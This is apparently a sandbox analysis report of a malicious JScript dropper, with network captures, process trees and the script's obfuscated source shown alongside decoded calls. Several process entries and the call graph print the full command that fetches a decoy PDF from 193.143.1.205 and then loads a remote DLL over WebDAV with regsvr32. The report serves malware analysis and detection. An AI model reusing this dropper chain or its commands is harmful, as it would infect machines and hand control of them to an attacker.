Jan 10, 2025 19:32:31.771732092 CET	224	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 19:32:31.771738052 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Jan 10, 2025 19:32:31.771785975 CET	1236	IN	Data Raw: 3b 85 a9 6f 3f 00 00 00 00 00 00 00 00 00 1b 34 75 8a c1 d4 ca 25 f4 d1 96 d0 79 06 bd 9d 3d 6e a2 c7 a0 8a ce 93 68 1a 11 a5 87 ee 9e a9 6f 42 00 00 00 00 00 00 00 00 00 1b 31 75 84 c1 d4 6a 4a 68 1a ed 74 19 f4 f1 66 f6 b8 8e 1e 37 8f a9 8a 56 Data Ascii: ;o?4u%y=nhoB1ujJhtf7VOY;oE7uGv+j Tg~:{oEk6u~%f vA.q<pDtCtC'0`&K]%3h}
Jan 10, 2025 19:32:31.771797895 CET	1236	IN	Data Raw: 14 ec a4 70 2c f4 e3 60 47 ae 3e 30 74 b0 23 f7 a4 d9 91 db 8d 85 7e 68 c7 42 df 76 db 71 df bc ba 78 fd f2 e2 f5 8b 8b 57 2f 9a ff 6c 7a e8 cb ae 87 a6 65 b9 fa e4 50 bb 29 f7 e6 69 b0 29 f7 b1 1b 0e 25 86 4e 6a ea 9b 13 00 00 c0 34 f8 62 09 00 Data Ascii: p,`G>0t#~hBvqxW/lzeP)i)%Nj4b/FcvQOt`{psBjK_~1DmM[9L/l4`U*;rfAnWB_)^oCeSC;i4b/FcvO
Jan 10, 2025 19:32:31.771847010 CET	672	IN	Data Raw: b5 ad f8 d4 ad f1 fa 27 f9 4d b7 ff 84 00 40 a5 55 6e 65 f8 9c 7c 32 31 34 3c 30 54 c7 d0 eb 26 86 5e a6 18 7a 3a 8c a1 ef 5d 0c 7d de c7 d0 67 5d 09 0d 62 e8 eb 26 86 ee a5 18 ba 3f 8f a1 e7 26 86 de 3e dd df 35 31 f4 c1 c5 50 8e 0d dd ae a9 6f Data Ascii: 'M@Une\|214<0T&^z:]}g]b&?&>51PoN%,.[nmk-_BW?]\r}B`Qa8zs&711bC%21gm\|c#1t*SKvk>~}h]
Jan 10, 2025 19:32:31.771936893 CET	1236	IN	Data Raw: eb 6a 16 35 77 f8 85 2e a3 5c 79 9e c6 2c 5a 88 2a ff 11 96 7b 72 2a e3 d4 ba 2e a3 f2 c2 d6 72 55 4b 5f d2 7a af 6d a1 a7 6b 13 9f 29 85 3f cb 1a 9f ab dc ef b2 c4 4b b9 e2 73 b8 d0 33 b0 e9 2b 59 fb eb 98 fb 83 2c fa 6c d4 2b bf 73 16 bd 8c e5 Data Ascii: j5w.\y,Z{r.rUK_zmk)?Ks3+Y,l+sC}H>6QJ&yyp8TPCb)^zPoN%5B__l>&*E&T,q51-OU/ik//+/l-&?HrOxm-W
Jan 10, 2025 19:32:31.771950960 CET	1116	IN	Data Raw: 31 f4 b8 8b a1 07 71 0c ed 87 43 ed e3 f2 8d da 91 db c4 d0 77 c3 18 7a 78 2b 31 f4 e2 bc 8f a1 d7 2a 86 de 13 43 27 34 f5 cd 09 00 00 60 1a 7c b1 04 00 d3 f2 b7 dc f0 fb f3 e1 77 e6 1f f2 ca df a8 cf 35 82 dc 65 f8 2b c9 75 1f dd 7a 74 f4 bc aa Data Ascii: 1qCwzx+1*C'4`\|w5e+uztc"BI4T&D].N-zU>$ZY+<iFV;FKVMz\P^MD]_Xp/3qywlL_EbvK+}nmcy==b&
Jan 10, 2025 19:32:31.771962881 CET	1236	IN	Data Raw: 31 74 38 1c da 3c f2 25 b4 3f 30 34 8a a1 47 12 43 ef bb 18 7a d5 1c 5a ba 68 0c 65 53 ee 06 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 f6 99 7b 0d 0a 31 30 30 30 0d 0a ec 68 17 f0 89 4a 7f 5b fe 6a c8 7c af be 7e 70 a9 d0 0b ca 25 d4 64 50 dd 40 53 e5 Data Ascii: 1t8<%?04GCzZheSL}s_,{1000hJ[j\|~p%dP@S<88}zJa4"Dsrz4 msJ'9+)sUjcfVr3<r^D)h>c]Gj~l@gs0o{'_M1w/bxvMoHfK0UZv]
Jan 10, 2025 19:32:31.771976948 CET	1236	IN	Data Raw: dc 16 eb dc ec f6 e8 ab a9 37 57 e7 7a 68 38 78 ee 33 e8 68 ce 0e 8b a4 e1 5f 41 bf 23 3a 37 e4 9b 7b 41 c3 82 1c 9e e1 6b 6e b6 6b e9 a1 53 ff 63 0a c0 97 63 f5 62 82 1d b5 e8 81 a1 12 43 af ae d2 81 a1 e5 18 7a ad 63 68 c5 43 76 e4 f6 31 74 7f Data Ascii: 7Wzh8x3h_A#:7{AknkSccbCzchCv1tCOO177O1M5`\|o>%kP/f#))HMgo_#{k+M$OOzzsHa^r,*Y,,WUB5{i_}zqZKd/A
Jan 10, 2025 19:32:31.776734114 CET	1236	IN	Data Raw: c1 c5 d0 a3 79 0c 6d 8e 0d 1d c6 d0 b1 63 43 ff 64 53 ee c6 4c 7d 73 02 00 00 98 06 5f 2c 01 c0 a6 f9 9b 6a fd 82 5c e9 3b fa 70 c9 dc 79 7f 29 8a 99 63 fe fc 99 83 52 0a 74 26 28 1f ab 97 bb 24 bd 20 d7 07 a0 54 7f d2 34 a8 34 d0 6f 5b ff db fa Data Ascii: ymcCdSL}s_,j\;py)cRt&($ T44o[{/Dh}4+!F)IT2hM=F{kvJ"L{xU)WX~<E(,{lP+]tA3V'U%T-e~l@7iG/ZU~#zF[_?sc9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49705	193.143.1.205	8888	904	C:\Windows\System32\net.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 19:32:33.690210104 CET	107	OUT	OPTIONS / HTTP/1.1 Connection: Keep-Alive User-Agent: DavClnt translate: f Host: 193.143.1.205:8888
Jan 10, 2025 19:32:34.514333010 CET	237	IN	HTTP/1.1 500 Internal Server Error Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 18:32:34 GMT Content-Type: text/plain; charset=utf-8 Content-Length: 22 Connection: keep-alive X-Content-Type-Options: nosniff Data Raw: 49 6e 74 65 72 6e 61 6c 20 73 65 72 76 65 72 20 65 72 72 6f 72 0a Data Ascii: Internal server error

Target ID:	0
Start time:	13:32:26
Start date:	10/01/2025
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\9191198332977923109.js"
Imagebase:	0x7ff63ecd0000
File size:	170'496 bytes
MD5 hash:	A47CBE969EA935BDD3AB568BB126BC80
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	13:32:27
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll
Imagebase:	0x7ff68dfa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	13:32:27
Start date:	10/01/2025
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	4
Start time:	13:32:27
Start date:	10/01/2025
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Imagebase:	0x7ff7be880000
File size:	452'608 bytes
MD5 hash:	04029E121A0CFA5991749937DD22A1D9
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	13:32:32
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Imagebase:	0x7ff686a00000
File size:	5'641'176 bytes
MD5 hash:	24EAD1C46A47022347DC0F05F6EFBB8C
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	6
Start time:	13:32:32
Start date:	10/01/2025
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	cmd /c net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff68dfa0000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:32:32
Start date:	10/01/2025
Path:	C:\Windows\System32\net.exe
Wow64 process (32bit):	false
Commandline:	net use \\193.143.1.205@8888\davwwwroot\
Imagebase:	0x7ff77bc70000
File size:	59'904 bytes
MD5 hash:	0BD94A338EEA5A4E1F2830AE326E6D19
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	13:32:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	9
Start time:	13:32:33
Start date:	10/01/2025
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff7e52b0000
File size:	55'320 bytes
MD5 hash:	B7F884C1B74A263F746EE12A5F7C9F6A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	10
Start time:	13:32:33
Start date:	10/01/2025
Path:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2112 --field-trial-handle=1648,i,17319420287684745869,1550295137964606933,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Imagebase:	0x7ff6413e0000
File size:	3'581'912 bytes
MD5 hash:	9B38E8E8B6DD9622D24B53E095C5D9BE
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

JavaScript Code

Call Graph

Executed
Not Executed

Script:

Code
0	function lzvdmyxuh() {	lzvdmyxuh() ➔ undefined
1	pqmueeb = [ 1031, 3079, 5127, 4103, 2055, 3072 ];
2	var eoysgse = this[yiafmmcf + ejzxmi + gylxstqqv + onrknrgkr + edhkmfk + tlisc + wxvzsyty + dksbrd] ( this[fatvjtqgx + lyyutuv + gkyewj + gylxstqqv + omcoducu + yiafmmcf + dksbrd][pcbzaq + gylxstqqv + edhkmfk + ejzxmi + dksbrd + edhkmfk + hdmtybgy + pasfbuhl + vmkkgcqwv + edhkmfk + gkyewj + dksbrd] ( fatvjtqgx + lyyutuv + gkyewj + gylxstqqv + omcoducu + yiafmmcf + dksbrd + jwxnyq + lyyutuv + uinheo + edhkmfk + lithmko + lithmko ) [doxejkvjg + edhkmfk + cddztm + doxejkvjg + edhkmfk + ejzxmi + gzyenxkmc] ( uzpgz + qcsalz + iftuvtej + jkuosfymd + bgvbt + pcbzaq + twhbiie + doxejkvjg + doxejkvjg + iftuvtej + sfhkmpuok + mtsmb + bgvbt + twhbiie + lyyutuv + iftuvtej + doxejkvjg + dcwwsuk + pcbzaq + xhanhgv + wxvzsyty + dksbrd + gylxstqqv + xhanhgv + lithmko + cqaazprd + hghaszd + ejzxmi + wxvzsyty + edhkmfk + lithmko + dcwwsuk + tlisc + wxvzsyty + dksbrd + edhkmfk + gylxstqqv + wxvzsyty + ejzxmi + dksbrd + omcoducu + xhanhgv + wxvzsyty + ejzxmi + lithmko + dcwwsuk + oiufe + xhanhgv + gkyewj + ejzxmi + lithmko + edhkmfk ), 16 );	Windows Script Host.CreateObject("WScript.Shell") ➔ RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale") ➔ "00000C00" parseInt("00000C00",16) ➔ 3072
3	for ( gdqwljgxx = 0 ; gdqwljgxx < pqmueeb[lithmko + edhkmfk + wxvzsyty + cddztm + dksbrd + uinheo] ; ++ gdqwljgxx )
4	{
5	if ( eoysgse == pqmueeb[gdqwljgxx] )
6	{
7	eoysgse = true;
8	break ;
9	}
10	}
11	if ( eoysgse !== true )
12	this[fatvjtqgx + lyyutuv + gkyewj + gylxstqqv + omcoducu + yiafmmcf + dksbrd][mqhjnih + alfcekq + omcoducu + dksbrd] ( );
13	this[fatvjtqgx + lyyutuv + gkyewj + gylxstqqv + omcoducu + yiafmmcf + dksbrd][pcbzaq + gylxstqqv + edhkmfk + ejzxmi + dksbrd + edhkmfk + hdmtybgy + pasfbuhl + vmkkgcqwv + edhkmfk + gkyewj + dksbrd] ( fatvjtqgx + lyyutuv + gkyewj + gylxstqqv + omcoducu + yiafmmcf + dksbrd + jwxnyq + lyyutuv + uinheo + edhkmfk + lithmko + lithmko ) [gylxstqqv + alfcekq + wxvzsyty] ( gkyewj + ndstdqw + gzyenxkmc + cqaazprd + gyqlcgvlm + gkyewj + cqaazprd + yiafmmcf + xhanhgv + uaxaaieam + edhkmfk + gylxstqqv + onrknrgkr + uinheo + edhkmfk + lithmko + lithmko + jwxnyq + edhkmfk + ldlcjrq + edhkmfk + cqaazprd + bjdghz + pcbzaq + xhanhgv + ndstdqw + ndstdqw + ejzxmi + wxvzsyty + gzyenxkmc + cqaazprd + aubxo + tlisc + wxvzsyty + vpanhudps + xhanhgv + owewe + edhkmfk + bjdghz + fatvjtqgx + edhkmfk + pasfbuhl + doxejkvjg + edhkmfk + cojehg + alfcekq + edhkmfk + onrknrgkr + dksbrd + cqaazprd + bjdghz + hdmtybgy + alfcekq + dksbrd + bhttig + omcoducu + lithmko + edhkmfk + cqaazprd + rnuqwnee + dksbrd + edhkmfk + ndstdqw + yiafmmcf + rnuqwnee + dcwwsuk + omcoducu + wxvzsyty + vpanhudps + xhanhgv + omcoducu + gkyewj + edhkmfk + jwxnyq + yiafmmcf + gzyenxkmc + lyvfmau + cqaazprd + uinheo + dksbrd + dksbrd + yiafmmcf + aswhzohui + gyqlcgvlm + gyqlcgvlm + pvgrt + whgci + ytqyyplo + jwxnyq + pvgrt + jmfbn + ytqyyplo + jwxnyq + pvgrt + jwxnyq + bmzilt + zyjgfa + vknbabxx + gyqlcgvlm + omcoducu + wxvzsyty + vpanhudps + xhanhgv + omcoducu + gkyewj + edhkmfk + jwxnyq + yiafmmcf + uinheo + yiafmmcf + aubxo + vgfucf + vgfucf + onrknrgkr + dksbrd + ejzxmi + gylxstqqv + dksbrd + cqaazprd + rnuqwnee + dksbrd + edhkmfk + ndstdqw + yiafmmcf + rnuqwnee + dcwwsuk + omcoducu + wxvzsyty + vpanhudps + xhanhgv + omcoducu + gkyewj + edhkmfk + jwxnyq + yiafmmcf + gzyenxkmc + lyvfmau + vgfucf + vgfucf + gkyewj + ndstdqw + gzyenxkmc + cqaazprd + gyqlcgvlm + gkyewj + cqaazprd + wxvzsyty + edhkmfk + dksbrd + cqaazprd + alfcekq + onrknrgkr + edhkmfk + cqaazprd + dcwwsuk + dcwwsuk + pvgrt + whgci + ytqyyplo + jwxnyq + pvgrt + jmfbn + ytqyyplo + jwxnyq + pvgrt + jwxnyq + bmzilt + zyjgfa + vknbabxx + ujiepjo + nqfby + nqfby + nqfby + nqfby + dcwwsuk + gzyenxkmc + ejzxmi + vpanhudps + uaxaaieam + uaxaaieam + uaxaaieam + gylxstqqv + xhanhgv + xhanhgv + dksbrd + dcwwsuk + vgfucf + vgfucf + gkyewj + ndstdqw + gzyenxkmc + cqaazprd + gyqlcgvlm + gkyewj + cqaazprd + gylxstqqv + edhkmfk + cddztm + onrknrgkr + vpanhudps + gylxstqqv + ytqyyplo + bmzilt + cqaazprd + gyqlcgvlm + onrknrgkr + cqaazprd + dcwwsuk + dcwwsuk + pvgrt + whgci + ytqyyplo + jwxnyq + pvgrt + jmfbn + ytqyyplo + jwxnyq + pvgrt + jwxnyq + bmzilt + zyjgfa + vknbabxx + ujiepjo + nqfby + nqfby + nqfby + nqfby + dcwwsuk + gzyenxkmc + ejzxmi + vpanhudps + uaxaaieam + uaxaaieam + uaxaaieam + gylxstqqv + xhanhgv + xhanhgv + dksbrd + dcwwsuk + bmzilt + nqfby + pvgrt + whgci + vknbabxx + ytqyyplo + zyjgfa + bmzilt + ytqyyplo + ytqyyplo + bmzilt + whgci + jmfbn + jwxnyq + gzyenxkmc + lithmko + lithmko, 0, false );	Windows Script Host.CreateObject("WScript.Shell") ➔ run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.pdf http://193.143.1.205/invoice.php"&&start %temp%\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\2819530233294.dll",0,false) ➔ 0
14	}
15	nqfby = "d";
16	nqfby = "J";
17	nqfby = "z";
18	nqfby = "X";
19	nqfby = "x";
20	nqfby = "N";
21	nqfby = "H";
22	nqfby = "i";
23	nqfby = "S";
24	nqfby = "u";
25	nqfby = "v";
26	nqfby = "r";
27	nqfby = "U";
28	nqfby = "m";
29	nqfby = "Q";
30	nqfby = "b";
31	nqfby = "w";
32	nqfby = "h";
33	nqfby = "m";
34	nqfby = "k";
35	nqfby = "s";
36	nqfby = "s";
37	nqfby = "n";
38	nqfby = "B";
39	nqfby = "C";
40	nqfby = "i";
41	nqfby = "E";
42	nqfby = "8";
43	zyjgfa = "s";
44	zyjgfa = "g";
45	zyjgfa = "a";
46	zyjgfa = "k";
47	zyjgfa = "B";
48	zyjgfa = "o";
49	zyjgfa = "U";
50	zyjgfa = "l";
51	zyjgfa = "K";
52	zyjgfa = "Y";
53	zyjgfa = "a";
54	zyjgfa = "Q";
55	zyjgfa = "E";
56	zyjgfa = "w";
57	zyjgfa = "H";
58	zyjgfa = "O";
59	zyjgfa = "Y";
60	zyjgfa = "N";
61	zyjgfa = "t";
62	zyjgfa = "P";
63	zyjgfa = "0";
64	edhkmfk = "Z";
65	edhkmfk = "O";
66	edhkmfk = "h";
67	edhkmfk = "u";
68	edhkmfk = "p";
69	edhkmfk = "p";
70	edhkmfk = "p";
71	edhkmfk = "Q";
72	edhkmfk = "X";
73	edhkmfk = "v";
74	edhkmfk = "Y";
75	edhkmfk = "K";
76	edhkmfk = "l";
77	edhkmfk = "k";
78	edhkmfk = "w";
79	edhkmfk = "L";
80	edhkmfk = "h";
81	edhkmfk = "Q";
82	edhkmfk = "F";
83	edhkmfk = "X";
84	edhkmfk = "j";
85	edhkmfk = "E";
86	edhkmfk = "g";
87	edhkmfk = "l";
88	edhkmfk = "m";
89	edhkmfk = "y";
90	edhkmfk = "K";
91	edhkmfk = "H";
92	edhkmfk = "e";
93	hghaszd = "X";
94	hghaszd = "X";
95	hghaszd = "q";
96	hghaszd = "u";
97	hghaszd = "C";
98	hghaszd = "B";
99	hghaszd = "N";
100	hghaszd = "e";
101	hghaszd = "D";
102	hghaszd = "C";
103	hghaszd = "F";
104	hghaszd = "d";
105	hghaszd = "S";
106	hghaszd = "i";
107	hghaszd = "L";
108	hghaszd = "Y";
109	hghaszd = "c";
110	hghaszd = "H";
111	hghaszd = "n";
112	hghaszd = "r";
113	hghaszd = "P";
114	hghaszd = "G";
115	hghaszd = "z";
116	hghaszd = "P";
117	bjdghz = "l";
118	bjdghz = "H";
119	bjdghz = "d";
120	bjdghz = "N";
121	bjdghz = "K";
122	bjdghz = "P";
123	bjdghz = "K";
124	bjdghz = "w";
125	bjdghz = "S";
126	bjdghz = "I";
127	bjdghz = "P";
128	bjdghz = "j";
129	bjdghz = "X";
130	bjdghz = "n";
131	bjdghz = "l";
132	bjdghz = "s";
133	bjdghz = "F";
134	bjdghz = "t";
135	bjdghz = "H";
136	bjdghz = "T";
137	bjdghz = "x";
138	bjdghz = "E";
139	bjdghz = "t";
140	bjdghz = "-";
141	vgfucf = "B";
142	vgfucf = "X";
143	vgfucf = "&";
144	mtsmb = "E";
145	mtsmb = "N";
146	mtsmb = "s";
147	mtsmb = "L";
148	mtsmb = "L";
149	mtsmb = "N";
150	mtsmb = "z";
151	mtsmb = "T";
152	gzyenxkmc = "y";
153	gzyenxkmc = "I";
154	gzyenxkmc = "N";
155	gzyenxkmc = "R";
156	gzyenxkmc = "S";
157	gzyenxkmc = "i";
158	gzyenxkmc = "N";
159	gzyenxkmc = "v";
160	gzyenxkmc = "N";
161	gzyenxkmc = "U";
162	gzyenxkmc = "C";
163	gzyenxkmc = "w";
164	gzyenxkmc = "E";
165	gzyenxkmc = "K";
166	gzyenxkmc = "c";
167	gzyenxkmc = "t";
168	gzyenxkmc = "Q";
169	gzyenxkmc = "C";
170	gzyenxkmc = "Z";
171	gzyenxkmc = "t";
172	gzyenxkmc = "d";
173	omcoducu = "U";
174	omcoducu = "R";
175	omcoducu = "Z";
176	omcoducu = "m";
177	omcoducu = "S";
178	omcoducu = "i";
179	omcoducu = "O";
180	omcoducu = "M";
181	omcoducu = "F";
182	omcoducu = "S";
183	omcoducu = "U";
184	omcoducu = "k";
185	omcoducu = "u";
186	omcoducu = "x";
187	omcoducu = "a";
188	omcoducu = "V";
189	omcoducu = "m";
190	omcoducu = "u";
191	omcoducu = "a";
192	omcoducu = "N";
193	omcoducu = "f";
194	omcoducu = "n";
195	omcoducu = "h";
196	omcoducu = "T";
197	omcoducu = "s";
198	omcoducu = "t";
199	omcoducu = "D";
200	omcoducu = "n";
201	omcoducu = "v";
202	omcoducu = "L";
203	omcoducu = "G";
204	omcoducu = "X";
205	omcoducu = "n";
206	omcoducu = "P";
207	omcoducu = "z";
208	omcoducu = "T";
209	omcoducu = "O";
210	omcoducu = "X";
211	omcoducu = "G";
212	omcoducu = "B";
213	omcoducu = "e";
214	omcoducu = "I";
215	omcoducu = "G";
216	omcoducu = "i";
217	cddztm = "U";
218	cddztm = "R";
219	cddztm = "N";
220	cddztm = "u";
221	cddztm = "P";
222	cddztm = "c";
223	cddztm = "v";
224	cddztm = "R";
225	cddztm = "D";
226	cddztm = "J";
227	cddztm = "K";
228	cddztm = "l";
229	cddztm = "B";
230	cddztm = "V";
231	cddztm = "q";
232	cddztm = "H";
233	cddztm = "V";
234	cddztm = "r";
235	cddztm = "Y";
236	cddztm = "u";
237	cddztm = "R";
238	cddztm = "j";
239	cddztm = "D";
240	cddztm = "s";
241	cddztm = "i";
242	cddztm = "i";
243	cddztm = "a";
244	cddztm = "Z";
245	cddztm = "B";
246	cddztm = "y";
247	cddztm = "h";
248	cddztm = "i";
249	cddztm = "T";
250	cddztm = "D";
251	cddztm = "d";
252	cddztm = "S";
253	cddztm = "C";
254	cddztm = "U";
255	cddztm = "x";
256	cddztm = "I";
257	cddztm = "g";
258	bhttig = "d";
259	bhttig = "c";
260	bhttig = "N";
261	bhttig = "e";
262	bhttig = "W";
263	bhttig = "e";
264	bhttig = "v";
265	bhttig = "Q";
266	bhttig = "m";
267	bhttig = "Y";
268	bhttig = "F";
269	lyvfmau = "z";
270	lyvfmau = "p";
271	lyvfmau = "v";
272	lyvfmau = "X";
273	lyvfmau = "o";
274	lyvfmau = "S";
275	lyvfmau = "R";
276	lyvfmau = "n";
277	lyvfmau = "e";
278	lyvfmau = "d";
279	lyvfmau = "f";
280	dcwwsuk = "y";
281	dcwwsuk = "v";
282	dcwwsuk = "x";
283	dcwwsuk = "f";
284	dcwwsuk = "U";
285	dcwwsuk = "m";
286	dcwwsuk = "L";
287	dcwwsuk = "W";
288	dcwwsuk = "J";
289	dcwwsuk = "k";
290	dcwwsuk = "F";
291	dcwwsuk = "M";
292	dcwwsuk = "W";
293	dcwwsuk = "W";
294	dcwwsuk = "J";
295	dcwwsuk = "h";
296	dcwwsuk = "u";
297	dcwwsuk = "b";
298	dcwwsuk = "C";
299	dcwwsuk = "U";
300	dcwwsuk = "S";
301	dcwwsuk = "d";
302	dcwwsuk = "\\";
303	pasfbuhl = "c";
304	pasfbuhl = "N";
305	pasfbuhl = "J";
306	pasfbuhl = "W";
307	pasfbuhl = "g";
308	pasfbuhl = "q";
309	pasfbuhl = "N";
310	pasfbuhl = "p";
311	pasfbuhl = "g";
312	pasfbuhl = "Z";
313	pasfbuhl = "z";
314	pasfbuhl = "J";
315	pasfbuhl = "n";
316	pasfbuhl = "b";
317	vmkkgcqwv = "x";
318	vmkkgcqwv = "N";
319	vmkkgcqwv = "z";
320	vmkkgcqwv = "Y";
321	vmkkgcqwv = "G";
322	vmkkgcqwv = "B";
323	vmkkgcqwv = "j";
324	owewe = "U";
325	owewe = "P";
326	owewe = "q";
327	owewe = "F";
328	owewe = "S";
329	owewe = "g";
330	owewe = "D";
331	owewe = "k";
332	alfcekq = "O";
333	alfcekq = "d";
334	alfcekq = "n";
335	alfcekq = "Y";
336	alfcekq = "l";
337	alfcekq = "Q";
338	alfcekq = "Y";
339	alfcekq = "n";
340	alfcekq = "F";
341	alfcekq = "t";
342	alfcekq = "L";
343	alfcekq = "c";
344	alfcekq = "p";
345	alfcekq = "Q";
346	alfcekq = "d";
347	alfcekq = "u";
348	alfcekq = "E";
349	alfcekq = "K";
350	alfcekq = "U";
351	alfcekq = "Y";
352	alfcekq = "q";
353	alfcekq = "G";
354	alfcekq = "A";
355	alfcekq = "L";
356	alfcekq = "I";
357	alfcekq = "X";
358	alfcekq = "u";
359	jmfbn = "r";
360	jmfbn = "m";
361	jmfbn = "X";
362	jmfbn = "B";
363	jmfbn = "E";
364	jmfbn = "r";
365	jmfbn = "V";
366	jmfbn = "G";
367	jmfbn = "M";
368	jmfbn = "c";
369	jmfbn = "y";
370	jmfbn = "t";
371	jmfbn = "Y";
372	jmfbn = "E";
373	jmfbn = "q";
374	jmfbn = "Z";
375	jmfbn = "Z";
376	jmfbn = "e";
377	jmfbn = "J";
378	jmfbn = "A";
379	jmfbn = "h";
380	jmfbn = "U";
381	jmfbn = "T";
382	jmfbn = "P";
383	jmfbn = "h";
384	jmfbn = "C";
385	jmfbn = "T";
386	jmfbn = "A";
387	jmfbn = "4";
388	jkuosfymd = "K";
389	jkuosfymd = "i";
390	jkuosfymd = "v";
391	jkuosfymd = "p";
392	jkuosfymd = "A";
393	jkuosfymd = "G";
394	jkuosfymd = "M";
395	jkuosfymd = "c";
396	jkuosfymd = "t";
397	jkuosfymd = "o";
398	jkuosfymd = "w";
399	jkuosfymd = "R";
400	jkuosfymd = "N";
401	jkuosfymd = "v";
402	jkuosfymd = "n";
403	jkuosfymd = "A";
404	jkuosfymd = "e";
405	jkuosfymd = "F";
406	jkuosfymd = "C";
407	jkuosfymd = "A";
408	jkuosfymd = "Y";
409	rnuqwnee = "E";
410	rnuqwnee = "q";
411	rnuqwnee = "O";
412	rnuqwnee = "V";
413	rnuqwnee = "d";
414	rnuqwnee = "f";
415	rnuqwnee = "X";
416	rnuqwnee = "C";
417	rnuqwnee = "I";
418	rnuqwnee = "P";
419	rnuqwnee = "a";
420	rnuqwnee = "w";
421	rnuqwnee = "v";
422	rnuqwnee = "H";
423	rnuqwnee = "m";
424	rnuqwnee = "P";
